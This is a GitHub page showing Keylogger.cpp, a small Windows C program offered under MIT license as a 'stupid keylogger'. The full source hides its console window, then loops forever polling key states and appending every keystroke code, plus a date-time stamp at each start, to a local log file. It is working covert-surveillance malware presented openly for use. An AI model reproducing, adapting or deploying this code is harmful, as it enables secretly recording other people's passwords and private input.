-
Notifications
You must be signed in to change notification settings - Fork 125
/
Keylogger.cpp
54 lines (42 loc) · 1.51 KB
/
Keylogger.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/**
* Developer: Minhas Kamal (minhaskamal024@gmail.com)
* Date: 15.Aug.2014
* Website: https://minhaskamal.github.io/StupidKeylogger
* License: MIT License
* Intro: Logs all key strokes and mouse clicks. Also adds date time on every PC start.
* I spent a whole day doing this little code. But it was really fun!
**/
#include <stdio.h>
#include <windows.h>
#include <time.h>
// output file name
#define FILE_NAME "Record.log"
main(){
// hides the console window
FreeConsole();
// open or create a file
FILE *file = fopen(FILE_NAME, "a");
// writing date-time; & an extra '0' before every start which is used during decoding
time_t date = time(NULL);
fprintf(file, "0\n%s\t", ctime(&date));
fclose(file);
unsigned short ch, i;
while(1){ //infinite loop
ch=1;
while(ch<250){ //scans for 0-249 ASCII craracters
// this strange and extra loop helps in sensing fast-keystrokes with
// minimum processor use
for(i=0; i<50; i++, ch++){
//when key is stroke
if(GetAsyncKeyState(ch) == -32767){
//append the ASCII code of the character
file=fopen(FILE_NAME, "a");
fprintf(file, "%d ", ch);
fclose(file);
}
}
// this 1ms sleep inhibits the program from occupying full processor
Sleep(1);
}
}
}